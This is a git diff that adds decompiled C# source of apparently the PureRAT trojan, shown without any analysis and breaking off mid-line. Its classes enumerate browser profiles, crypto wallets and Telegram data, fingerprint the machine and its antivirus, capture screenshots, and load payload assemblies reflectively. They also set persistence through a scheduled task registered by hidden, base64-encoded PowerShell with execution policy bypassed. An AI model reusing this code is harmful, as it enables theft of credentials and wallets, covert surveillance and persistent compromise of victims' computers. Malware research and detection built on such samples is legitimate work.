dictionary.Add("Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer\\", "Sleipnir5"); + dictionary.Add("CatalinaGroup\\Citrio\\User Data\\", "Citrio"); + dictionary.Add("Coowon\\Coowon\\User Data\\", "Coowon"); + dictionary.Add("liebao\\User Data\\", "liebao"); + dictionary.Add("QIP Surf\\User Data\\", "QIP Surf"); + dictionary.Add("Orbitum\\User Data\\", "Orbitum"); + dictionary.Add("Comodo\\Dragon\\User Data\\", "Dragon"); + dictionary.Add("Amigo\\User\\User Data\\", "Amigo"); + dictionary.Add("Torch\\User Data\\", "Torch"); + dictionary.Add("Comodo\\User Data\\", "Comodo"); + dictionary.Add("360Browser\\Browser\\User Data\\", "360Browser"); + dictionary.Add("Maxthon3\\User Data\\", "Maxthon3"); + dictionary.Add("K-Melon\\User Data\\", "K-Melon"); + dictionary.Add("Sputnik\\Sputnik\\User Data\\", "Sputnik"); + dictionary.Add("Nichrome\\User Data\\", "Nichrome"); + dictionary.Add("CocCoc\\Browser\\User Data\\", "CocCoc"); + dictionary.Add("Uran\\User Data\\", "Uran"); + dictionary.Add("Chromodo\\User Data\\", "Chromodo"); + dictionary.Add("Mail.Ru\\Atom\\User Data\\", "Atom"); + a.d = new object(); + Parallel.ForEach>(dictionary, new Action>(a.method_a)); + } + catch + { + } + try + { + if (new DirectoryInfo(Path.Combine(folderPath, "atomic", "Local Storage", "leveldb")).Exists) + { + a.field_a.Add("Atomic Wallet"); + } + } + catch + { + } + try + { + using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Bitcoin\\Bitcoin-Qt", RegistryKeyPermissionCheck.ReadSubTree)) + { + if (registryKey != null && new DirectoryInfo(Path.Combine(registryKey.GetValue("strDataDir").ToString(), "wallets")).Exists) + { + a.field_a.Add("Bitcoin-Qt"); + } + } + } + catch + { + } + try + { + using (RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("Software\\Dash\\Dash-Qt", RegistryKeyPermissionCheck.ReadSubTree)) + { + if (registryKey2 != null && new DirectoryInfo(Path.Combine(new string[] + { + registryKey2.GetValue("strDataDir").ToString() + })).Exists) + { + a.field_a.Add("Dash-Qt"); + } + } + } + catch + { + } + try + { + if (new DirectoryInfo(Path.Combine(folderPath, "Electrum", "wallets")).Exists) + { + a.field_a.Add("Electrum"); + } + } + catch + { + } + try + { + if (new DirectoryInfo(Path.Combine(folderPath, "Ethereum", "keystore")).Exists) + { + a.field_a.Add("Ethereum"); + } + } + catch + { + } + try + { + if (new DirectoryInfo(Path.Combine(folderPath, "Exodus", "exodus.wallet")).Exists) + { + a.field_a.Add("Exodus"); + } + } + catch + { + } + try + { + if (new DirectoryInfo(Path.Combine(folderPath, "com.liberty.jaxx", "IndexedDB")).Exists) + { + a.field_a.Add("Jaxx"); + } + } + catch + { + } + try + { + using (RegistryKey registryKey3 = Registry.CurrentUser.OpenSubKey("Software\\Litecoin\\Litecoin-Qt", RegistryKeyPermissionCheck.ReadWriteSubTree)) + { + if (registryKey3 != null && new DirectoryInfo(Path.Combine(new string[] + { + registryKey3.GetValue("strDataDir").ToString() + })).Exists) + { + a.field_a.Add("Litecoin-Qt"); + } + } + } + catch + { + } + try + { + if (new DirectoryInfo(Path.Combine(folderPath, "Zcash")).Exists) + { + a.field_a.Add("Zcash"); + } + } + catch + { + } + try + { + DirectoryInfo[] directories = new DirectoryInfo(Path.GetPathRoot(folderPath)).GetDirectories("*", SearchOption.TopDirectoryOnly); + for (int i = 0; i < directories.Length; i++) + { + if (directories[i].Name.ToLower().Contains("Foxmail")) + { + a.field_a.Add("Foxmail"); + break; + } + } + } + catch + { + } + try + { + if (new FileInfo(Path.Combine(folderPath, "Telegram Desktop", "Telegram.exe")).Exists) + { + a.field_a.Add("Telegram"); + } + } + catch + { + } + } + catch + { + } + try + { + FileInfo fileInfo = new FileInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles).Replace(" (x86)", null), "Ledger Live", "Ledger Live.exe")); + if (fileInfo.Exists) + { + a.field_a.Add(Path.GetFileNameWithoutExtension(fileInfo.Name)); + } + break; + } + catch + { + break; + } + } + if (a.field_a.Count <= 0) + { + Class3.string_0 = "N/A"; + } + else + { + a.field_a = a.field_a.Distinct().ToList(); + Class3.string_0 = string.Join(", ", a.field_a); + } + } + return Class3.string_0; + } + + // Token: 0x0600001D RID: 29 RVA: 0x00007AB0 File Offset: 0x00005CB0 + internal static int smethod_1() + { + int result; + try + { + Class0.Struct0 @struct = default(Class0.Struct0); + @struct.uint_0 = (uint)Marshal.SizeOf(@struct); + Class0.GetLastInputInfo(ref @struct); + result = (int)TimeSpan.FromMilliseconds((double)((long)Environment.TickCount - (long)((ulong)@struct.uint_1))).TotalSeconds; + } + catch + { + result = -1; + } + return result; + } + + // Token: 0x0600001E RID: 30 RVA: 0x00007B18 File Offset: 0x00005D18 + internal static string smethod_2() + { + string result; + try + { + Class0.Struct0 @struct = default(Class0.Struct0); + @struct.uint_0 = (uint)Marshal.SizeOf(@struct); + Class0.GetLastInputInfo(ref @struct); + TimeSpan timeSpan = TimeSpan.FromMilliseconds(Environment.TickCount - (int)@struct.uint_1); + result = string.Format("{0}d {1}h {2}m {3}s", new object[] + { + timeSpan.Days, + timeSpan.Hours, + timeSpan.Minutes, + timeSpan.Seconds + }); + } + catch + { + result = "-1"; + } + return result; + } + + // Token: 0x0600001F RID: 31 RVA: 0x00007BC8 File Offset: 0x00005DC8 + internal static string d() + { + string result = ""; + try + { + IntPtr foregroundWindow = Class0.GetForegroundWindow(); + StringBuilder stringBuilder = new StringBuilder(256); + if (Class0.GetWindowText(foregroundWindow, stringBuilder, 256) > 0) + { + result = stringBuilder.ToString(); + } + } + catch + { + } + return result; + } + + // Token: 0x06000020 RID: 32 RVA: 0x00007C18 File Offset: 0x00005E18 + internal static void smethod_3() + { + try + { + Class0.SetThreadExecutionState((Class0.Enum0)2147483651U); + } + catch + { + } + } + + // Token: 0x06000021 RID: 33 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Class3() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000022 RID: 34 RVA: 0x0000235D File Offset: 0x0000055D + internal static bool smethod_4() + { + return Class3.object_0 == null; + } + + // Token: 0x0400000F RID: 15 + private static string string_0; + + // Token: 0x04000010 RID: 16 + internal static object object_0; + + // Token: 0x02000009 RID: 9 + [CompilerGenerated] + private sealed class a + { + // Token: 0x06000024 RID: 36 RVA: 0x00007C48 File Offset: 0x00005E48 + internal void method_a(KeyValuePair kvp) + { + Class3.b b = new Class3.b(); + b.c = this; + b.field_a = kvp; + try + { + string path = Path.Combine(this.b, b.field_a.Key); + b.field_b = Directory.GetDirectories(path, "*", SearchOption.AllDirectories); + Parallel.ForEach>(this.c, new Action>(b.method_a)); + } + catch + { + } + } + + // Token: 0x06000025 RID: 37 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static a() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000026 RID: 38 RVA: 0x00002367 File Offset: 0x00000567 + internal static bool smethod_0() + { + return Class3.a.a_0 == null; + } + + // Token: 0x04000011 RID: 17 + public List field_a; + + // Token: 0x04000012 RID: 18 + public string b; + + // Token: 0x04000013 RID: 19 + public Dictionary c; + + // Token: 0x04000014 RID: 20 + public object d; + + // Token: 0x04000015 RID: 21 + private static Class3.a a_0; + } + + // Token: 0x0200000A RID: 10 + [CompilerGenerated] + private sealed class b + { + // Token: 0x06000028 RID: 40 RVA: 0x00007CC0 File Offset: 0x00005EC0 + internal void method_a(KeyValuePair kvp) + { + try + { + string[] array = this.field_b; + for (int i = 0; i < array.Length; i++) + { + if (array[i].Contains(kvp.Key)) + { + for (;;) + { + string item = this.field_a.Value + ":" + kvp.Value; + object d = this.c.d; + lock (d) + { + this.c.field_a.Add(item); + break; + } + } + break; + } + } + } + catch + { + } + } + + // Token: 0x06000029 RID: 41 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static b() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x0600002A RID: 42 RVA: 0x00002371 File Offset: 0x00000571 + internal static bool smethod_0() + { + return Class3.b.b_0 == null; + } + + // Token: 0x04000016 RID: 22 + public KeyValuePair field_a; + + // Token: 0x04000017 RID: 23 + public string[] field_b; + + // Token: 0x04000018 RID: 24 + public Class3.a c; + + // Token: 0x04000019 RID: 25 + internal static Class3.b b_0; + } +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.Class4.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.Class4.cs new file mode 100644 index 0000000..3b20182 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.Class4.cs @@ -0,0 +1,436 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Drawing.Imaging; +using System.IO; +using System.Management; +using System.Runtime.CompilerServices; +using System.Security.Principal; +using System.Windows.Forms; + +// Token: 0x0200000B RID: 11 +internal static class Class4 +{ + // Token: 0x0600002B RID: 43 RVA: 0x00007D6C File Offset: 0x00005F6C + internal static string smethod_0() + { + if (Class4.string_0 == null) + { + string str = ""; + str += Class4.smethod_1("Win32_Processor", "ProcessorId"); + str += Class4.smethod_1("Win32_DiskDrive", "SerialNumber"); + str += Class4.smethod_1("Win32_PhysicalMemory", "SerialNumber"); + try + { + str += Environment.UserDomainName; + goto IL_09; + } + catch + { + goto IL_09; + } + goto IL_86; + IL_09: + try + { + str += Class4.d(); + } + catch + { + } + Class4.string_0 = GClass15.smethod_0(str).ToUpper(); + } + IL_86: + return Class4.string_0; + } + + // Token: 0x0600002C RID: 44 RVA: 0x00007E20 File Offset: 0x00006020 + private static string smethod_1(string string_5, string string_6) + { + string result = ""; + try + { + using (ManagementClass managementClass = new ManagementClass(string_5)) + { + using (ManagementObjectCollection instances = managementClass.GetInstances()) + { + foreach (ManagementBaseObject managementBaseObject in instances) + { + ManagementObject managementObject = (ManagementObject)managementBaseObject; + try + { + if ((result = (managementObject.GetPropertyValue(string_6) as string)) != "") + { + break; + } + } + catch + { + } + } + } + } + } + catch + { + } + return result; + } + + // Token: 0x0600002D RID: 45 RVA: 0x00007EEC File Offset: 0x000060EC + internal static string smethod_2() + { + try + { + if (Class4.string_1 == null) + { + Class4.string_1 = "N/A"; + using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("root\\SecurityCenter2", "SELECT * FROM AntiVirusProduct")) + { + using (ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get()) + { + List list = new List(); + foreach (ManagementBaseObject managementBaseObject in managementObjectCollection) + { + string text = ((ManagementObject)managementBaseObject)["displayName"].ToString(); + if (!string.IsNullOrEmpty(text) && !string.IsNullOrWhiteSpace(text)) + { + list.Add(text); + } + } + if (list.Count > 0) + { + Class4.string_1 = string.Join(", ", list); + } + } + } + } + } + catch + { + } + return Class4.string_1; + } + + // Token: 0x0600002E RID: 46 RVA: 0x00007FF0 File Offset: 0x000061F0 + internal static string d() + { + if (Class4.string_2 == null) + { + for (;;) + { + try + { + Class4.string_2 = "N/A"; + Class4.string_2 = Environment.UserName; + goto IL_09; + } + catch + { + goto IL_09; + } + break; + IL_09: + try + { + string userDomainName = Environment.UserDomainName; + if (!userDomainName.smethod_0()) + { + Class4.string_2 = Class4.string_2 + "[" + userDomainName + "]"; + } + break; + } + catch + { + break; + } + } + } + return Class4.string_2; + } + + // Token: 0x0600002F RID: 47 RVA: 0x00008070 File Offset: 0x00006270 + internal static string smethod_3() + { + try + { + using (WindowsIdentity current = WindowsIdentity.GetCurrent()) + { + WindowsPrincipal windowsPrincipal = new WindowsPrincipal(current); + if (windowsPrincipal.IsInRole(WindowsBuiltInRole.Administrator)) + { + return WindowsBuiltInRole.Administrator.ToString(); + } + if (windowsPrincipal.IsInRole(WindowsBuiltInRole.User)) + { + return WindowsBuiltInRole.User.ToString(); + } + if (windowsPrincipal.IsInRole(WindowsBuiltInRole.Guest)) + { + return WindowsBuiltInRole.Guest.ToString(); + } + if (windowsPrincipal.IsInRole(WindowsBuiltInRole.SystemOperator)) + { + return WindowsBuiltInRole.SystemOperator.ToString(); + } + if (windowsPrincipal.IsInRole(WindowsBuiltInRole.AccountOperator)) + { + return WindowsBuiltInRole.AccountOperator.ToString(); + } + if (windowsPrincipal.IsInRole(WindowsBuiltInRole.BackupOperator)) + { + return WindowsBuiltInRole.BackupOperator.ToString(); + } + if (windowsPrincipal.IsInRole(WindowsBuiltInRole.PowerUser)) + { + return WindowsBuiltInRole.PowerUser.ToString(); + } + if (windowsPrincipal.IsInRole(WindowsBuiltInRole.PrintOperator)) + { + return WindowsBuiltInRole.PrintOperator.ToString(); + } + if (windowsPrincipal.IsInRole(WindowsBuiltInRole.Replicator)) + { + return WindowsBuiltInRole.Replicator.ToString(); + } + } + goto IL_190; + } + catch + { + goto IL_190; + } + string result; + return result; + IL_190: + return "Unknown"; + } + + // Token: 0x06000030 RID: 48 RVA: 0x00008248 File Offset: 0x00006448 + internal static bool smethod_4() + { + bool result; + try + { + result = new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); + } + catch + { + result = false; + } + return result; + } + + // Token: 0x06000031 RID: 49 RVA: 0x00008284 File Offset: 0x00006484 + internal static string smethod_5() + { + if (Class4.string_3 == null) + { + try + { + Class4.string_3 = "Unknown OS"; + using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT Caption FROM Win32_OperatingSystem")) + { + using (ManagementObjectCollection.ManagementObjectEnumerator enumerator = managementObjectSearcher.Get().GetEnumerator()) + { + if (enumerator.MoveNext()) + { + Class4.string_3 = ((ManagementObject)enumerator.Current)["Caption"].ToString(); + } + } + } + if (!Class4.string_3.Contains("7")) + { + if (Class4.string_3.Contains("8.1")) + { + Class4.string_3 = "Windows 8.1"; + } + else if (Class4.string_3.Contains("8")) + { + Class4.string_3 = "Windows 8"; + } + else if (!Class4.string_3.Contains("10")) + { + if (Class4.string_3.Contains("11")) + { + Class4.string_3 = "Windows 11"; + } + else if (!Class4.string_3.Contains("2012")) + { + if (Class4.string_3.Contains("2016")) + { + Class4.string_3 = "Windows Server 2016"; + } + else if (!Class4.string_3.Contains("2019")) + { + if (Class4.string_3.Contains("2022")) + { + Class4.string_3 = "Windows Server 2022"; + } + } + else + { + Class4.string_3 = "Windows Server 2019"; + } + } + else + { + Class4.string_3 = "Windows Server 2012"; + } + } + else + { + Class4.string_3 = "Windows 10"; + } + } + else + { + Class4.string_3 = "Windows 7"; + } + Class4.string_3 = string.Format("{0} {1}Bit", Class4.string_3, Environment.Is64BitOperatingSystem ? 64 : 32); + } + catch + { + } + } + return Class4.string_3; + } + + // Token: 0x06000032 RID: 50 RVA: 0x000084A0 File Offset: 0x000066A0 + internal static bool smethod_6() + { + bool result; + try + { + List list = new List(); + using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')")) + { + foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get()) + { + list.Add(managementBaseObject["Caption"].ToString()); + } + } + result = (list.Count > 0); + } + catch + { + return false; + } + return result; + } + + // Token: 0x06000033 RID: 51 RVA: 0x00008548 File Offset: 0x00006748 + internal static string h() + { + try + { + if (Class4.string_4 == null) + { + Class4.string_4 = Process.GetCurrentProcess().MainModule.FileName; + } + } + catch + { + } + return Class4.string_4; + } + + // Token: 0x06000034 RID: 52 RVA: 0x0000858C File Offset: 0x0000678C + public static byte[] i(int a = 60) + { + byte[] result; + try + { + Rectangle bounds = Screen.PrimaryScreen.Bounds; + using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) + { + using (Graphics graphics = Graphics.FromImage(bitmap)) + { + graphics.CopyFromScreen(bounds.Location, Point.Empty, bounds.Size, CopyPixelOperation.SourceCopy); + } + int width = 640; + int height = 480; + using (Bitmap bitmap2 = new Bitmap(640, 480)) + { + using (Graphics graphics2 = Graphics.FromImage(bitmap2)) + { + graphics2.InterpolationMode = InterpolationMode.HighQualityBicubic; + graphics2.DrawImage(bitmap, 0, 0, width, height); + } + using (MemoryStream memoryStream = new MemoryStream()) + { + EncoderParameters encoderParameters = new EncoderParameters(1); + encoderParameters.Param[0] = new EncoderParameter(Encoder.Quality, (long)a); + ImageCodecInfo[] imageDecoders = ImageCodecInfo.GetImageDecoders(); + Predicate match; + if ((match = Class4.__c.predicate_0) == null) + { + match = (Class4.__c.predicate_0 = new Predicate(Class4.__c.__c_0.method_0)); + } + ImageCodecInfo imageCodecInfo = Array.Find(imageDecoders, match); + if (imageCodecInfo == null) + { + bitmap2.Save(memoryStream, ImageFormat.Jpeg); + } + else + { + bitmap2.Save(memoryStream, imageCodecInfo, encoderParameters); + } + result = memoryStream.ToArray(); + } + } + } + } + catch + { + result = null; + } + return result; + } + + // Token: 0x06000035 RID: 53 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Class4() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000036 RID: 54 RVA: 0x0000237B File Offset: 0x0000057B + internal static bool smethod_7() + { + return Class4.object_0 == null; + } + + // Token: 0x0400001A RID: 26 + private static string string_0; + + // Token: 0x0400001B RID: 27 + private static string string_1; + + // Token: 0x0400001C RID: 28 + private static string string_2; + + // Token: 0x0400001D RID: 29 + private static string string_3; + + // Token: 0x0400001E RID: 30 + private static string string_4; + + // Token: 0x0400001F RID: 31 + internal static object object_0; + + // Compiler-generated singleton class (originally <>c) + [CompilerGenerated] + private sealed class __c + { + public static readonly Class4.__c __c_0 = new Class4.__c(); + public static Predicate predicate_0; + + internal bool method_0(ImageCodecInfo imageCodecInfo_0) + { + return imageCodecInfo_0.MimeType == "image/jpeg"; + } + } +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.Class5.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.Class5.cs new file mode 100644 index 0000000..0de8b4d --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.Class5.cs @@ -0,0 +1,137 @@ +using System; +using System.Linq; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Threading; + +// Token: 0x0200000D RID: 13 +internal class Class5 +{ + // Token: 0x0600003B RID: 59 RVA: 0x000023B7 File Offset: 0x000005B7 + internal void method_0(byte[] byte_0, byte[] byte_1) + { + this.method_1(byte_0, byte_1); + } + + // Token: 0x0600003C RID: 60 RVA: 0x00008774 File Offset: 0x00006974 + private void method_1(byte[] byte_0, byte[] byte_1) + { + Assembly assembly = null; + if (this.d()) + { + try + { + assembly = this.method_2(byte_1); + } + catch + { + } + } + if (assembly == null) + { + assembly = Thread.GetDomain().Load(byte_1); + } + assembly.GetExportedTypes()[0].GetMethods()[0].Invoke(null, new object[] + { + byte_0 + }); + } + + // Token: 0x0600003D RID: 61 RVA: 0x000087E0 File Offset: 0x000069E0 + private Assembly method_2(byte[] byte_0) + { + Class5.a a = new Class5.a(); + Assembly assembly = Assembly.Load(byte_0); + a.field_a = assembly.FullName; + Assembly assembly2 = AppDomain.CurrentDomain.GetAssemblies().FirstOrDefault(new Func(a.method_a)); + if (assembly2 != null) + { + return assembly2; + } + return assembly; + } + + // Token: 0x0600003E RID: 62 RVA: 0x00008830 File Offset: 0x00006A30 + private bool d() + { + bool result; + try + { + if (!Class4.h().ToLower().Contains("powershell.exe")) + { + if (!(AppDomain.CurrentDomain.GetAssemblies().FirstOrDefault(new Func(Class5.__c.__c_0.method_0)) != null)) + { + return false; + } + result = true; + } + else + { + result = true; + } + } + catch + { + return false; + } + return result; + } + + // Token: 0x06000040 RID: 64 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Class5() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000041 RID: 65 RVA: 0x000023C1 File Offset: 0x000005C1 + internal static bool smethod_0() + { + return Class5.object_0 == null; + } + + // Token: 0x04000023 RID: 35 + internal static object object_0; + + // Compiler-generated singleton class (originally <>c) + [CompilerGenerated] + private sealed class __c + { + public static readonly Class5.__c __c_0 = new Class5.__c(); + + internal bool method_0(Assembly assembly_0) + { + return assembly_0.FullName.Contains("System.Management.Automation"); + } + } + + // Token: 0x0200000F RID: 15 + [CompilerGenerated] + private sealed class a + { + // Token: 0x06000047 RID: 71 RVA: 0x000023FD File Offset: 0x000005FD + internal bool method_a(Assembly asm) + { + return asm.FullName == this.field_a; + } + + // Token: 0x06000048 RID: 72 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static a() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000049 RID: 73 RVA: 0x00002410 File Offset: 0x00000610 + internal static bool smethod_0() + { + return Class5.a.a_0 == null; + } + + // Token: 0x04000027 RID: 39 + public string field_a; + + // Token: 0x04000028 RID: 40 + private static Class5.a a_0; + } +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.Class6.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.Class6.cs new file mode 100644 index 0000000..e30c89b --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.Class6.cs @@ -0,0 +1,65 @@ +using System; +using System.Threading; + +// Token: 0x02000010 RID: 16 +internal static class Class6 +{ + // Token: 0x0600004A RID: 74 RVA: 0x000088AC File Offset: 0x00006AAC + internal static bool smethod_0(string string_0) + { + bool result; + try + { + Class6.mutex_0 = new Mutex(false, string_0); + result = Class6.mutex_0.WaitOne(TimeSpan.FromSeconds(15.0), false); + } + catch (AbandonedMutexException) + { + result = true; + } + catch (Exception) + { + result = false; + } + return result; + } + + // Token: 0x0600004B RID: 75 RVA: 0x0000890C File Offset: 0x00006B0C + internal static void smethod_1() + { + try + { + if (Class6.mutex_0 != null) + { + using (Mutex mutex = Class6.mutex_0) + { + mutex.ReleaseMutex(); + mutex.Close(); + mutex.Dispose(); + } + } + } + catch + { + } + } + + // Token: 0x0600004C RID: 76 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Class6() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x0600004D RID: 77 RVA: 0x0000241A File Offset: 0x0000061A + internal static bool smethod_2() + { + return Class6.object_0 == null; + } + + // Token: 0x04000029 RID: 41 + private static Mutex mutex_0; + + // Token: 0x0400002A RID: 42 + internal static object object_0; +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.Class7.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.Class7.cs new file mode 100644 index 0000000..35d7277 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.Class7.cs @@ -0,0 +1,74 @@ +using System; +using Microsoft.Win32; + +// Token: 0x02000011 RID: 17 +internal static class Class7 +{ + // Token: 0x0600004E RID: 78 RVA: 0x00008968 File Offset: 0x00006B68 + internal static byte[] smethod_0(string string_0) + { + byte[] result; + try + { + using (RegistryKey registryKey = Registry.CurrentUser.CreateSubKey("Software\\" + Class4.smethod_0(), RegistryKeyPermissionCheck.ReadWriteSubTree)) + { + if (registryKey == null) + { + result = null; + } + else + { + byte[] array = (byte[])registryKey.GetValue(string_0); + if (array == null) + { + result = null; + } + else + { + result = array; + } + } + } + } + catch (Exception ex) + { + Class9.i(ex.Message); + goto IL_53; + } + return result; + IL_53: + return null; + } + + // Token: 0x0600004F RID: 79 RVA: 0x000089E8 File Offset: 0x00006BE8 + internal static void smethod_1(string string_0, object object_1) + { + try + { + using (RegistryKey registryKey = Registry.CurrentUser.CreateSubKey("Software\\" + Class4.smethod_0(), RegistryKeyPermissionCheck.ReadWriteSubTree)) + { + registryKey.SetValue(string_0, object_1, RegistryValueKind.Binary); + } + } + catch (Exception ex) + { + Class9.i(ex.Message); + } + } + + // Token: 0x06000050 RID: 80 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Class7() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000051 RID: 81 RVA: 0x00002424 File Offset: 0x00000624 + internal static bool smethod_2() + { + return Class7.object_0 == null; + } + + // Token: 0x0400002B RID: 43 + internal static object object_0; +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.Class8.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.Class8.cs new file mode 100644 index 0000000..9115b36 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.Class8.cs @@ -0,0 +1,134 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Text; + +// Token: 0x02000012 RID: 18 +internal class Class8 +{ + // Token: 0x06000052 RID: 82 RVA: 0x00008A50 File Offset: 0x00006C50 + internal static void pwfVayjWiK() + { + try + { + string text = Class4.h(); + string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Windows); + if (!text.ToLower().Contains(folderPath.ToLower())) + { + string text2 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Path.GetFileName(text)); + if (!(text.ToLower() == text2.ToLower())) + { + try + { + if (!Class9.gclass3_0.String_2.smethod_0() && !Class9.gclass3_0.String_3.smethod_0()) + { + text2 = Path.Combine(Environment.GetEnvironmentVariable(Class9.gclass3_0.String_3), Class9.gclass3_0.String_2); + } + if (text.ToLower() == text2.ToLower()) + { + return; + } + } + catch + { + } + Class8.smethod_0(); + } + } + } + catch + { + } + } + + // Token: 0x06000053 RID: 83 RVA: 0x00008B34 File Offset: 0x00006D34 + private static void smethod_0() + { + string path = Class4.h(); + string text = Path.GetFileNameWithoutExtension(path); + string text2 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Path.GetFileName(text)); + try + { + if (!Class9.gclass3_0.String_2.smethod_0()) + { + text = Class9.gclass3_0.String_2; + } + } + catch + { + } + try + { + if (!Class9.gclass3_0.String_3.smethod_0()) + { + text2 = Path.Combine(Environment.GetEnvironmentVariable(Class9.gclass3_0.String_3), Path.GetFileName(text)); + } + } + catch + { + } + string s = string.Concat(new string[] + { + "Register-ScheduledTask -TaskName '", + text, + "' -Action (New-ScheduledTaskAction -Execute '", + text2, + "') -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)) -User $env:UserName -RunLevel Highest -Settings (New-ScheduledTaskSettingsSet -ExecutionTimeLimit (New-TimeSpan -Seconds 0) -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -Force" + }); + if (!Class4.smethod_4()) + { + goto IL_116; + } + IL_A7: + ProcessStartInfo startInfo = new ProcessStartInfo + { + FileName = "powershell.exe", + Arguments = "-NoProfile -ExecutionPolicy Bypass -Enc " + Convert.ToBase64String(Encoding.Unicode.GetBytes(s)), + UseShellExecute = false, + CreateNoWindow = true, + WindowStyle = ProcessWindowStyle.Hidden + }; + using (Process process = new Process + { + StartInfo = startInfo + }) + { + process.Start(); + process.WaitForExit(); + goto IL_148; + } + goto IL_116; + IL_148: + FileStream fileStream = new FileStream(text2, FileMode.OpenOrCreate, FileAccess.Write); + byte[] array = File.ReadAllBytes(path); + fileStream.Write(array, 0, array.Length); + fileStream.Flush(); + return; + IL_116: + s = string.Concat(new string[] + { + "Register-ScheduledTask -TaskName '", + text, + "' -Action (New-ScheduledTaskAction -Execute '", + text2, + "') -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)) -User $env:UserName -Settings (New-ScheduledTaskSettingsSet -ExecutionTimeLimit (New-TimeSpan -Seconds 0) -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -Force" + }); + goto IL_A7; + } + + // Token: 0x06000055 RID: 85 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Class8() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000056 RID: 86 RVA: 0x0000242E File Offset: 0x0000062E + internal static bool smethod_1() + { + return Class8.object_0 == null; + } + + // Token: 0x0400002C RID: 44 + private static object object_0; +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.Class9.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.Class9.cs new file mode 100644 index 0000000..4ee14ff --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.Class9.cs @@ -0,0 +1,639 @@ +using System; +using System.Collections.Generic; +using System.Net; +using System.Net.Security; +using System.Net.Sockets; +using System.Runtime.CompilerServices; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; +using System.Threading; + +// Token: 0x02000013 RID: 19 +internal static class Class9 +{ + // Token: 0x06000057 RID: 87 RVA: 0x00002438 File Offset: 0x00000638 + [CompilerGenerated] + internal static void smethod_0(bool bool_1) + { + Class9.bool_0 = bool_1; + } + + // Token: 0x06000058 RID: 88 RVA: 0x00002440 File Offset: 0x00000640 + [CompilerGenerated] + internal static GClass4 smethod_1() + { + return Class9.gclass4_0; + } + + // Token: 0x06000059 RID: 89 RVA: 0x00002447 File Offset: 0x00000647 + [CompilerGenerated] + internal static void smethod_2(GClass4 gclass4_1) + { + Class9.gclass4_0 = gclass4_1; + } + + // Token: 0x0600005A RID: 90 RVA: 0x0000244F File Offset: 0x0000064F + private static void smethod_3() + { + Class9.gclass3_0 = (GClass3)GClass1.smethod_1(Convert.FromBase64String("H4sIAAAAAAAACgMAAAAAAAAAAAA=")); + Class9.x509Certificate2_0 = new 